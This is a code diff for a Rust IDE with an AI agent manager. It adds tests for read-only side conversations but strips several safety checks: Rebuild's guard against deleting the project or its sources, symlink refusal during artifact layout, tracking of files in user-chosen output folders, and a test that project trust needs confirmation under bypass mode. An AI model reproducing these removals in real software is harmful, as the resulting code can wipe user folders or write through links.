"logout",
|
||||
]
|
||||
);
|
||||
// Other agents get only what they offered.
|
||||
assert!(mgr_a.commands("codex", None).await.unwrap().is_empty());
|
||||
mgr_a.cancel(&task.id, None).unwrap();
|
||||
wait_for(&mgr_a, &task.id, AgentStatus::Ready).await;
|
||||
mgr_a.shutdown();
|
||||
@@ -945,27 +930,9 @@ async fn builtin_commands_only_fill_verified_gaps_and_preserve_advertised_metada
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager_at(tmp.path(), &tmp.path().join("models.json"), agent);
|
||||
for provider in ["claude", "claude-acp", "opencode2", "custom"] {
|
||||
for provider in ["claude", "claude-acp", "opencode2", "codex", "custom"] {
|
||||
assert!(mgr.commands(provider, None).await.unwrap().is_empty(), "{provider}");
|
||||
}
|
||||
let commands = mgr.commands("codex", None).await.unwrap();
|
||||
assert_eq!(
|
||||
commands.iter().map(|c| c.name.as_str()).collect::<Vec<_>>(),
|
||||
[
|
||||
"plan",
|
||||
"mcp",
|
||||
"skills",
|
||||
"status",
|
||||
"review",
|
||||
"review-branch",
|
||||
"review-commit",
|
||||
"compact",
|
||||
"goal",
|
||||
"rename",
|
||||
"logout",
|
||||
]
|
||||
);
|
||||
assert_eq!(commands[1].hint.as_deref(), Some("[reconnect]"));
|
||||
let commands = mgr.commands("opencode", None).await.unwrap();
|
||||
assert_eq!(commands.iter().map(|c| c.name.as_str()).collect::<Vec<_>>(), ["compact"]);
|
||||
let task = mgr
|
||||
@@ -1636,12 +1603,6 @@ async fn renamed_titles_survive_updates_forks_and_restart() {
|
||||
.unwrap();
|
||||
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
|
||||
let handle = mgr.task(&task.id).unwrap();
|
||||
// `/rename` reports an explicit title through the same update; later automatic names
|
||||
// must not replace it even though AgentManager.rename was not called.
|
||||
handle
|
||||
.on_update(None, &json!({"sessionUpdate": "session_info_update", "title": "Command title", "userNamed": true}));
|
||||
handle.on_update(None, &json!({"sessionUpdate": "session_info_update", "title": "Automatic title"}));
|
||||
assert_eq!(handle.state.lock().task.title, "Command title");
|
||||
assert!(mgr.rename(&task.id, " ").is_err());
|
||||
let initial = handle.state.lock().task.title.clone();
|
||||
for title in [initial, "My task".to_owned(), "名".repeat(205)] {
|
||||
@@ -1662,65 +1623,6 @@ async fn renamed_titles_survive_updates_forks_and_restart() {
|
||||
restored.shutdown();
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn startup_warnings_survive_replay_and_restart_without_failing_the_task() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let task = mgr
|
||||
.create(NewAgentTask { provider: "claude".into(), prompt: text("again"), ..Default::default() })
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
|
||||
let handle = mgr.task(&task.id).unwrap();
|
||||
handle.replaying.store(true, Ordering::Release);
|
||||
handle.turn_started.store(false, Ordering::Release);
|
||||
let client = Client { task: Arc::downgrade(&handle) };
|
||||
client.on_notification(WARNING_NOTIFICATION, json!({"message": "Project MCP config is disabled until trusted."}));
|
||||
client.on_notification(WARNING_NOTIFICATION, json!({"message": " "}));
|
||||
client.on_notification(WARNING_NOTIFICATION, json!({}));
|
||||
assert_eq!(handle.state.lock().task.status, AgentStatus::Ready);
|
||||
assert!(!handle.turn_started.load(Ordering::Acquire));
|
||||
mgr.shutdown();
|
||||
let restored = manager(tmp.path(), agent);
|
||||
let handle = restored.task(&task.id).unwrap();
|
||||
assert_eq!(handle.state.lock().conversation.main.entries.iter().filter(|entry| matches!(entry, AgentEntry::Error {message} if message == "Project MCP config is disabled until trusted.")).count(), 1);
|
||||
restored.shutdown();
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn persistent_project_trust_needs_confirmation_even_with_bypass() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mgr = manager(tmp.path(), Arc::new(FakeAgent::default()));
|
||||
let task = mgr
|
||||
.create(NewAgentTask { provider: "claude".into(), prompt: text("again"), ..Default::default() })
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
|
||||
let handle = mgr.task(&task.id).unwrap();
|
||||
handle.state.lock().task.config = config::options_of(&json!({"configOptions": [{
|
||||
"id": "mode", "category": "mode", "type": "select", "currentValue": "full-access",
|
||||
"options": [{"value": "full-access", "name": "Full Access"}]
|
||||
}]}));
|
||||
assert!(config::bypass_approvals(&handle.state.lock().task.config));
|
||||
let params = json!({"toolCall": {"toolCallId": "trust", "kind": "edit", "title": "Trust Project in Codex"},
|
||||
"options": [
|
||||
{"optionId": "codex-trust-project", "name": "Trust Project in Codex", "kind": "allow_always"},
|
||||
{"optionId": "codex-keep-untrusted", "name": "Keep Untrusted", "kind": "reject_once"}
|
||||
]});
|
||||
let asking = {
|
||||
let handle = handle.clone();
|
||||
let params = params.clone();
|
||||
tokio::task::spawn_blocking(move || handle.ask_permission(¶ms))
|
||||
};
|
||||
wait_for(&mgr, &task.id, AgentStatus::NeedsInput).await;
|
||||
assert!(!asking.is_finished());
|
||||
let id = *handle.permissions.lock().keys().next().unwrap();
|
||||
mgr.respond(&task.id, id, Some("codex-keep-untrusted".into())).unwrap();
|
||||
assert_eq!(asking.await.unwrap()["outcome"]["optionId"], "codex-keep-untrusted");
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn forks_rollbacks_and_steering() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
@@ -3591,6 +3493,199 @@ async fn security_policy_never_auto_approves_a_request_that_only_reads_like_a_co
|
||||
);
|
||||
}
|
||||
|
||||
/// A temporary side conversation is created ready, without starting its session and
|
||||
/// without writing anything to the store; a fresh subscriber (a reloaded page) sweeps
|
||||
/// it, and deleting it just drops it from memory.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn ephemeral_tasks_stay_in_memory_only() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let source = mgr
|
||||
.create(NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("hello"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
|
||||
let calls_before = agent.calls.lock().len();
|
||||
let task = mgr
|
||||
.create_ephemeral(
|
||||
NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("What changed in this file?"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
},
|
||||
&source.id,
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
// Registering it starts nothing: the session waits for its first real message.
|
||||
assert_eq!(agent.calls.lock().len(), calls_before);
|
||||
assert_eq!(mgr.task(&task.id).unwrap().state.lock().task.status, AgentStatus::Ready);
|
||||
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
|
||||
|
||||
// Its first message starts the session like any task's, and still saves nothing: the
|
||||
// conversation records the question, not the context that rode along to the agent.
|
||||
// The fake agent's turn asks to change something, which a side conversation denies by
|
||||
// itself, so the turn ends without waiting for the user.
|
||||
mgr.prompt(&task.id, text("Why?"), false).await.unwrap();
|
||||
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
|
||||
let entries = mgr.entries(&task.id, None).unwrap();
|
||||
let question = entries.iter().find_map(|e| match e {
|
||||
AgentEntry::User { text, .. } => Some(text.clone()),
|
||||
_ => None,
|
||||
});
|
||||
assert_eq!(question.as_deref(), Some("Why?"));
|
||||
assert!(
|
||||
entries.iter().any(|e| matches!(e, AgentEntry::Permission { chosen: Some(c), .. } if c.contains("read-only"))),
|
||||
"its `cargo test` request was denied: {entries:?}"
|
||||
);
|
||||
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
|
||||
|
||||
// A fresh subscriber (a reloaded page) sweeps it: it never reaches the task list.
|
||||
let events: Arc<Mutex<Vec<AgentEvent>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
let sink_events = events.clone();
|
||||
let tasks = mgr.subscribe(Arc::new(move |e| sink_events.lock().push(e)));
|
||||
assert!(!tasks.iter().any(|t| t.id == task.id));
|
||||
assert!(mgr.task(&task.id).is_err());
|
||||
assert!(events.lock().iter().any(|e| matches!(e, AgentEvent::Removed { id } if *id == task.id)));
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
/// A side conversation's context stays within its budget: long tool outputs are cut to
|
||||
/// their head and tail, and entries that no longer fit are dropped oldest first.
|
||||
#[test]
|
||||
fn side_conversation_context_is_bounded() {
|
||||
let long_output = (0..400).map(|i| format!("line {i}")).collect::<Vec<_>>().join(
|
||||
"
|
||||
",
|
||||
);
|
||||
// Each reply alone is well inside the budget; together they are past it.
|
||||
let reply = |n: usize| AgentEntry::Agent { text: format!("reply {n} {}", "x".repeat(30_000)) };
|
||||
let entries = vec![
|
||||
AgentEntry::User {
|
||||
text: "oldest question".into(),
|
||||
attachments: vec![],
|
||||
images: vec![],
|
||||
sent_ms: None,
|
||||
done_ms: None,
|
||||
steered: false,
|
||||
},
|
||||
reply(1),
|
||||
reply(2),
|
||||
reply(3),
|
||||
reply(4),
|
||||
AgentEntry::Tool {
|
||||
id: "t1".into(),
|
||||
title: "grep".into(),
|
||||
kind: "search".into(),
|
||||
status: AgentToolStatus::Completed,
|
||||
locations: vec![],
|
||||
output: Some(long_output),
|
||||
diffs: vec![],
|
||||
},
|
||||
AgentEntry::User {
|
||||
text: "newest question".into(),
|
||||
attachments: vec![],
|
||||
images: vec![],
|
||||
sent_ms: None,
|
||||
done_ms: None,
|
||||
steered: false,
|
||||
},
|
||||
];
|
||||
let transcript = context_transcript(&entries);
|
||||
assert!(transcript.contains("newest question"), "the newest entry is always kept");
|
||||
assert!(transcript.contains("lines omitted"), "a long tool output is trimmed");
|
||||
assert!(transcript.contains("line 0") && transcript.contains("line 399"), "its head and tail stay");
|
||||
assert!(!transcript.contains("oldest question"), "entries past the budget are dropped oldest first");
|
||||
assert!(transcript.contains("oldest entries are omitted"));
|
||||
}
|
||||
|
||||
/// An ephemeral task denies a permission request that would change the project.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn ephemeral_tasks_deny_write_permissions() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let source = mgr
|
||||
.create(NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("Something with a conversation to reuse"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
|
||||
let pending = mgr
|
||||
.entries(&source.id, None)
|
||||
.unwrap()
|
||||
.iter()
|
||||
.find_map(|e| match e {
|
||||
AgentEntry::Permission { id, chosen: None, .. } => Some(*id),
|
||||
_ => None,
|
||||
})
|
||||
.unwrap_or_else(|| panic!("no pending permission request"));
|
||||
mgr.respond(&source.id, pending, Some("no".into())).unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::Ready).await;
|
||||
|
||||
let task = mgr
|
||||
.create_ephemeral(
|
||||
NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("What changed in this file?"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
},
|
||||
&source.id,
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(mgr.task(&task.id).unwrap().state.lock().task.capabilities.read_only);
|
||||
|
||||
let answer = mgr
|
||||
.task(&task.id)
|
||||
.unwrap()
|
||||
.ask_permission(&json!({
|
||||
"sessionId": "c1",
|
||||
"toolCall": {"toolCallId": "c1-t2", "title": "Edit main.rs", "kind": "edit"},
|
||||
"options": [
|
||||
{"optionId": "yes", "name": "Allow", "kind": "allow_once"},
|
||||
{"optionId": "no", "name": "Reject", "kind": "reject_once"}
|
||||
]
|
||||
}))
|
||||
.pointer("/outcome/optionId")
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("none")
|
||||
.to_owned();
|
||||
assert_eq!(answer, "no", "the write request is denied");
|
||||
let entries = mgr.entries(&task.id, None).unwrap();
|
||||
assert!(
|
||||
entries
|
||||
.iter()
|
||||
.any(|e| matches!(e, AgentEntry::Permission { chosen: Some(chosen), .. } if chosen.contains("read-only"))),
|
||||
"{entries:?}"
|
||||
);
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
fn attention_reasons(events: &[AgentEvent]) -> Vec<AgentAttentionReason> {
|
||||
events
|
||||
.iter()
|
||||
@@ -4043,14 +4138,3 @@ done
|
||||
);
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn session_params_name_the_servers_off() {
|
||||
let mcp = McpForSession { servers: vec![json!({ "name": "docs" })], off: vec!["github".into()] };
|
||||
let params = session_params("/p", &mcp);
|
||||
assert_eq!(params["cwd"], "/p");
|
||||
assert_eq!(params["mcpServers"][0]["name"], "docs");
|
||||
assert_eq!(params["_meta"]["openidea"]["mcpServersOff"], json!(["github"]));
|
||||
let none = McpForSession { servers: Vec::new(), off: Vec::new() };
|
||||
assert!(session_params("/p", &none).get("_meta").is_none());
|
||||
}
|
||||
@@ -548,7 +548,7 @@ impl PathMap {
|
||||
}
|
||||
|
||||
/// Removes `.` and resolvable `..` components without touching the file system.
|
||||
pub(crate) fn normalize(p: &Path) -> PathBuf {
|
||||
fn normalize(p: &Path) -> PathBuf {
|
||||
use std::path::Component;
|
||||
let mut out = PathBuf::new();
|
||||
for c in p.components() {
|
||||
|
||||
@@ -40,18 +40,6 @@ pub fn structure_outputs(root: &Path, ps: &ProjectStructureSettings) -> (PathBuf
|
||||
(main, test)
|
||||
}
|
||||
|
||||
/// Whether Rebuild may delete the output folder `dir`: never the project folder or one above
|
||||
/// it, nor a folder that holds or lies inside a source, test or resource root.
|
||||
fn deletable_output(dir: &Path, root: &Path, roots: &StructureRoots) -> bool {
|
||||
let dir = normalize(dir);
|
||||
let overlaps = |r: &PathBuf| {
|
||||
let r = normalize(r);
|
||||
r.starts_with(&dir) || dir.starts_with(&r)
|
||||
};
|
||||
!normalize(root).starts_with(&dir)
|
||||
&& !roots.sources.iter().chain(&roots.tests).chain(&roots.resources).chain(&roots.test_resources).any(overlaps)
|
||||
}
|
||||
|
||||
fn module_name(root: &Path) -> String {
|
||||
root.file_name().map_or_else(|| "project".to_owned(), |n| n.to_string_lossy().into_owned())
|
||||
}
|
||||
@@ -219,11 +207,7 @@ pub fn structure_plan(
|
||||
|
||||
let mut steps = Vec::new();
|
||||
if kind == BuildKind::Rebuild {
|
||||
let dirs: Vec<PathBuf> =
|
||||
[&main_out, &test_out].into_iter().filter(|d| deletable_output(d, root, roots)).cloned().collect();
|
||||
if !dirs.is_empty() {
|
||||
steps.push(BuildStep::action(Action::Clean(dirs), root));
|
||||
}
|
||||
steps.push(BuildStep::action(Action::Clean(vec![main_out.clone(), test_out.clone()]), root));
|
||||
}
|
||||
let main_cp = library_entries(root, ps, false);
|
||||
let compile = |name: &str, sources: &[PathBuf], out: &Path, cp: &[String]| -> IdeResult<BuildStep> {
|
||||
@@ -326,8 +310,6 @@ fn artifact_steps(
|
||||
.find(|f| f.module == artifact.module || f.module.is_empty() && artifact.module == ".")
|
||||
.or_else(|| ps.facets.iter().find(|f| f.kind == "web"));
|
||||
let staging = cache.join("artifacts").join(file_name(&artifact.name));
|
||||
// What the last build laid out in a folder the user chose, so the next one replaces only that.
|
||||
let record = cache.join("artifacts").join(format!("{}.files", file_name(&artifact.name)));
|
||||
let mut steps = Vec::new();
|
||||
match (artifact.kind, war) {
|
||||
(ArtifactKind::Jar, None) => {
|
||||
@@ -342,11 +324,7 @@ fn artifact_steps(
|
||||
manifest.push_str(&format!("Class-Path: {}\r\n", names.join(" ")));
|
||||
}
|
||||
steps.push(BuildStep::action(
|
||||
Action::Layout {
|
||||
into: staging.clone(),
|
||||
entries: vec![(classes.to_path_buf(), PathBuf::new())],
|
||||
record: None,
|
||||
},
|
||||
Action::Layout { into: staging.clone(), entries: vec![(classes.to_path_buf(), PathBuf::new())] },
|
||||
root,
|
||||
));
|
||||
// The jar's Class-Path names the libraries next to it.
|
||||
@@ -354,7 +332,6 @@ fn artifact_steps(
|
||||
Action::Layout {
|
||||
into: out.clone(),
|
||||
entries: libraries.iter().map(|l| (l.clone(), file_of(l))).collect(),
|
||||
record: Some(record),
|
||||
},
|
||||
root,
|
||||
));
|
||||
@@ -376,9 +353,7 @@ fn artifact_steps(
|
||||
for lib in &libraries {
|
||||
entries.push((lib.clone(), Path::new("WEB-INF/lib").join(file_of(lib))));
|
||||
}
|
||||
// The exploded output may be a folder the user chose; the staging folder is the IDE's own.
|
||||
let record = (exploded != staging).then_some(record);
|
||||
steps.push(BuildStep::action(Action::Layout { into: exploded.clone(), entries, record }, root));
|
||||
steps.push(BuildStep::action(Action::Layout { into: exploded.clone(), entries }, root));
|
||||
let archive = war
|
||||
.map(Path::to_path_buf)
|
||||
.or_else(|| (kind != ArtifactKind::WarExploded).then(|| artifact_file(root, artifact)));
|
||||
@@ -432,10 +407,8 @@ pub(crate) enum Action {
|
||||
/// relative paths; files that are already up to date are left alone.
|
||||
CopyResources { from: Vec<PathBuf>, to: PathBuf },
|
||||
/// Lays out an artifact in `into`: each folder's content or file goes to its relative
|
||||
/// place (`""` = the top). What is no longer laid out is removed: without `record`, `into`
|
||||
/// is the IDE's own folder and is laid out afresh; with it, `into` is a folder the user chose
|
||||
/// and only the files the previous layout recorded there are removed, never anything else.
|
||||
Layout { into: PathBuf, entries: Vec<(PathBuf, PathBuf)>, record: Option<PathBuf> },
|
||||
/// place (`""` = the top). What is no longer laid out is removed.
|
||||
Layout { into: PathBuf, entries: Vec<(PathBuf, PathBuf)> },
|
||||
/// Zips the folder `from` into the archive `to`, with this manifest first.
|
||||
Archive { from: PathBuf, to: PathBuf, manifest: Option<String> },
|
||||
}
|
||||
@@ -468,39 +441,29 @@ impl Action {
|
||||
}
|
||||
Ok(format!("{copied} resource file(s) copied"))
|
||||
}
|
||||
Action::Layout { into, entries, record } => {
|
||||
Action::Layout { into, entries } => {
|
||||
// A fresh layout: files dropped from the sources must not linger in the artifact.
|
||||
if entries.iter().any(|(from, _)| from.starts_with(into)) {
|
||||
return Err(IdeError::invalid(format!(
|
||||
"The artifact output folder {} holds files the artifact is made of",
|
||||
into.display()
|
||||
)));
|
||||
}
|
||||
if record.is_none() && into.exists() {
|
||||
if into.exists() {
|
||||
fs::remove_dir_all(into)
|
||||
.map_err(|e| IdeError::internal(format!("cannot delete {} ({e})", into.display())))?;
|
||||
}
|
||||
let mut written = Vec::new();
|
||||
let mut copied = 0;
|
||||
for (from, to) in entries {
|
||||
let target = into.join(to);
|
||||
// The folders of the output it goes into (and a folder entry's own) are
|
||||
// never links; a file in a link's place replaces the link.
|
||||
let mut at = into.to_path_buf();
|
||||
let folders = to.components().count().saturating_sub(usize::from(!from.is_dir()));
|
||||
for c in to.components().take(folders) {
|
||||
at.push(c);
|
||||
refuse_link(&at)?;
|
||||
}
|
||||
if from.is_dir() {
|
||||
copy_tree(from, &target, &mut written, cancel)?;
|
||||
copied += copy_tree(from, &target, cancel)?;
|
||||
} else if from.is_file() {
|
||||
copy_file(from, &target)?;
|
||||
written.push(target);
|
||||
copied += 1;
|
||||
}
|
||||
}
|
||||
if let Some(record) = record {
|
||||
replace_recorded(into, record, &written)?;
|
||||
}
|
||||
Ok(format!("{} file(s) laid out", written.len()))
|
||||
Ok(format!("{copied} file(s) laid out"))
|
||||
}
|
||||
Action::Archive { from, to, manifest } => {
|
||||
archive(from, to, manifest.as_deref(), cancel)?;
|
||||
@@ -511,10 +474,6 @@ impl Action {
|
||||
}
|
||||
|
||||
fn copy_file(from: &Path, to: &Path) -> IdeResult<()> {
|
||||
// A link in the artifact's place is replaced, not written through.
|
||||
if fs::symlink_metadata(to).is_ok_and(|m| m.file_type().is_symlink()) {
|
||||
fs::remove_file(to).map_err(|e| IdeError::internal(format!("cannot replace {} ({e})", to.display())))?;
|
||||
}
|
||||
if let Some(parent) = to.parent() {
|
||||
fs::create_dir_all(parent)
|
||||
.map_err(|e| IdeError::internal(format!("cannot create {} ({e})", parent.display())))?;
|
||||
@@ -523,80 +482,23 @@ fn copy_file(from: &Path, to: &Path) -> IdeResult<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn refuse_link(folder: &Path) -> IdeResult<()> {
|
||||
if fs::symlink_metadata(folder).is_ok_and(|m| m.file_type().is_symlink()) {
|
||||
return Err(IdeError::invalid(format!(
|
||||
"{} links to another folder; the artifact is not laid out through it",
|
||||
folder.display()
|
||||
)));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn copy_tree(from: &Path, to: &Path, written: &mut Vec<PathBuf>, cancel: &CancellationToken) -> IdeResult<()> {
|
||||
fn copy_tree(from: &Path, to: &Path, cancel: &CancellationToken) -> IdeResult<usize> {
|
||||
if cancel.is_cancelled() {
|
||||
return Err(IdeError::cancelled());
|
||||
}
|
||||
let Ok(entries) = fs::read_dir(from) else { return Ok(()) };
|
||||
let Ok(entries) = fs::read_dir(from) else { return Ok(0) };
|
||||
let mut copied = 0;
|
||||
for e in entries.flatten() {
|
||||
let Ok(t) = e.file_type() else { continue };
|
||||
let target = to.join(e.file_name());
|
||||
if t.is_dir() {
|
||||
refuse_link(&target)?;
|
||||
copy_tree(&e.path(), &target, written, cancel)?;
|
||||
copied += copy_tree(&e.path(), &target, cancel)?;
|
||||
} else if t.is_file() {
|
||||
copy_file(&e.path(), &target)?;
|
||||
written.push(target);
|
||||
copied += 1;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes the files the previous layout recorded in `into` that this one didn't write
|
||||
/// (and the folders that leaves empty), then records `written` for the next layout.
|
||||
fn replace_recorded(into: &Path, record: &Path, written: &[PathBuf]) -> IdeResult<()> {
|
||||
let now: std::collections::HashSet<PathBuf> =
|
||||
written.iter().filter_map(|p| p.strip_prefix(into).ok().map(Path::to_path_buf)).collect();
|
||||
let before = fs::read_to_string(record).unwrap_or_default();
|
||||
let mut lines = before.lines();
|
||||
// The record names its folder first: one made for another output folder removes nothing.
|
||||
let same = lines.next().is_some_and(|dir| Path::new(dir) == into);
|
||||
for rel in lines.filter(|_| same).map(PathBuf::from) {
|
||||
// Only plain relative paths inside `into`: a damaged record must not reach elsewhere.
|
||||
if rel.as_os_str().is_empty()
|
||||
|| now.contains(&rel)
|
||||
|| rel.components().any(|c| !matches!(c, std::path::Component::Normal(_)))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
let file = into.join(&rel);
|
||||
// Never through a link: a folder of the output that now links elsewhere (or a file that
|
||||
// is a link) leads out of what the layout wrote.
|
||||
let mut at = into.to_path_buf();
|
||||
let linked = rel.components().any(|c| {
|
||||
at.push(c);
|
||||
fs::symlink_metadata(&at).is_ok_and(|m| m.file_type().is_symlink())
|
||||
});
|
||||
if !linked && file.is_file() {
|
||||
let _ = fs::remove_file(&file);
|
||||
let mut dir = file.parent();
|
||||
while let Some(d) = dir.filter(|d| *d != into && d.starts_with(into)) {
|
||||
if fs::remove_dir(d).is_err() {
|
||||
break;
|
||||
}
|
||||
dir = d.parent();
|
||||
}
|
||||
}
|
||||
}
|
||||
let mut list: Vec<String> = now.iter().map(|p| p.to_string_lossy().into_owned()).collect();
|
||||
list.sort();
|
||||
list.insert(0, into.to_string_lossy().into_owned());
|
||||
if let Some(parent) = record.parent() {
|
||||
fs::create_dir_all(parent)
|
||||
.map_err(|e| IdeError::internal(format!("cannot create {} ({e})", parent.display())))?;
|
||||
}
|
||||
fs::write(record, list.join("\n"))
|
||||
.map_err(|e| IdeError::internal(format!("cannot write {} ({e})", record.display())))
|
||||
Ok(copied)
|
||||
}
|
||||
|
||||
fn archive(from: &Path, to: &Path, manifest: Option<&str>, cancel: &CancellationToken) -> IdeResult<()> {
|
||||
@@ -796,37 +698,6 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rebuild_never_cleans_an_output_folder_over_the_project_or_its_sources() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let root = tmp.path().join("p");
|
||||
write(&root.join("src/A.java"), "class A {}");
|
||||
let roots = StructureRoots { sources: vec![root.join("src")], ..Default::default() };
|
||||
for (main, test) in [(".", "bin"), ("src", "src/../test-out"), ("src/classes", ".."), ("", "")] {
|
||||
let mut ps = ProjectStructureSettings::default();
|
||||
ps.modules.insert(
|
||||
".".into(),
|
||||
ModuleStructureSettings {
|
||||
compiler_output: main.into(),
|
||||
test_compiler_output: test.into(),
|
||||
..Default::default()
|
||||
},
|
||||
);
|
||||
let plan = structure_plan(&root, &ps, &roots, None, "17", BuildKind::Rebuild, &tmp.path().join("c"))
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
let clean: Vec<String> =
|
||||
plan.steps.iter().map(BuildStep::display).filter(|s| s.starts_with("Clean")).collect();
|
||||
let expected: &[&str] = match main {
|
||||
"." => &["Clean bin"],
|
||||
"src" => &["Clean src/../test-out"],
|
||||
"src/classes" => &[],
|
||||
_ => &["Clean out/production/p, out/test/p"],
|
||||
};
|
||||
assert_eq!(clean, expected, "{main} / {test}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_plan_without_java_sources() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
@@ -941,71 +812,8 @@ mod tests {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let web = tmp.path().join("WebRoot");
|
||||
write(&web.join("a.jsp"), "");
|
||||
let action = Action::Layout {
|
||||
into: tmp.path().to_path_buf(),
|
||||
entries: vec![(web.clone(), PathBuf::new())],
|
||||
record: None,
|
||||
};
|
||||
let action = Action::Layout { into: tmp.path().to_path_buf(), entries: vec![(web.clone(), PathBuf::new())] };
|
||||
assert!(action.run(&CancellationToken::new()).is_err());
|
||||
assert!(web.join("a.jsp").is_file());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_chosen_output_folder_keeps_what_the_artifact_did_not_put_there() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let project = tmp.path().join("project");
|
||||
write(&project.join("src/A.java"), "class A {}");
|
||||
write(&project.join(".git/HEAD"), "ref: refs/heads/main");
|
||||
let libs = tmp.path().join("libs");
|
||||
write(&libs.join("a.jar"), "a");
|
||||
write(&libs.join("b.jar"), "b");
|
||||
let record = tmp.path().join("cache/artifacts/app.files");
|
||||
let layout = |names: &[&str]| Action::Layout {
|
||||
into: project.clone(),
|
||||
entries: names.iter().map(|n| (libs.join(n), PathBuf::from(n))).collect(),
|
||||
record: Some(record.clone()),
|
||||
};
|
||||
layout(&["a.jar", "b.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(project.join("a.jar").is_file() && project.join("b.jar").is_file());
|
||||
// A library dropped from the artifact goes; the project's own files stay.
|
||||
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(project.join("a.jar").is_file() && !project.join("b.jar").exists());
|
||||
assert!(project.join("src/A.java").is_file() && project.join(".git/HEAD").is_file());
|
||||
// A damaged record never reaches outside the folder.
|
||||
write(&record, &format!("{}\n../outside.txt", project.display()));
|
||||
write(&tmp.path().join("outside.txt"), "x");
|
||||
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(tmp.path().join("outside.txt").is_file());
|
||||
// Nor through a folder of the output that now links elsewhere.
|
||||
#[cfg(unix)]
|
||||
{
|
||||
write(&project.join("assets/x.txt"), "laid out");
|
||||
write(&record, &format!("{}\nassets/x.txt", project.display()));
|
||||
fs::remove_dir_all(project.join("assets")).unwrap();
|
||||
std::os::unix::fs::symlink(project.join("src"), project.join("assets")).unwrap();
|
||||
write(&project.join("src/x.txt"), "source");
|
||||
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(project.join("src/x.txt").is_file());
|
||||
}
|
||||
// An entry's own folder that links elsewhere stops the layout instead of copying through it.
|
||||
#[cfg(unix)]
|
||||
{
|
||||
fs::remove_file(project.join("assets")).unwrap();
|
||||
std::os::unix::fs::symlink(project.join("src"), project.join("classes")).unwrap();
|
||||
write(&tmp.path().join("out/A.class"), "compiled");
|
||||
let into_link = Action::Layout {
|
||||
into: project.clone(),
|
||||
entries: vec![(tmp.path().join("out"), PathBuf::from("classes"))],
|
||||
record: Some(record.clone()),
|
||||
};
|
||||
assert!(into_link.run(&CancellationToken::new()).is_err());
|
||||
assert!(!project.join("src/A.class").exists());
|
||||
fs::remove_file(project.join("classes")).unwrap();
|
||||
}
|
||||
// Nor does one made for another output folder.
|
||||
write(&project.join("c.jar"), "mine");
|
||||
write(&record, "/elsewhere\nc.jar");
|
||||
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(project.join("c.jar").is_file());
|
||||
}
|
||||
}
|
||||
@@ -38,11 +38,6 @@ pub enum IdeEvent {
|
||||
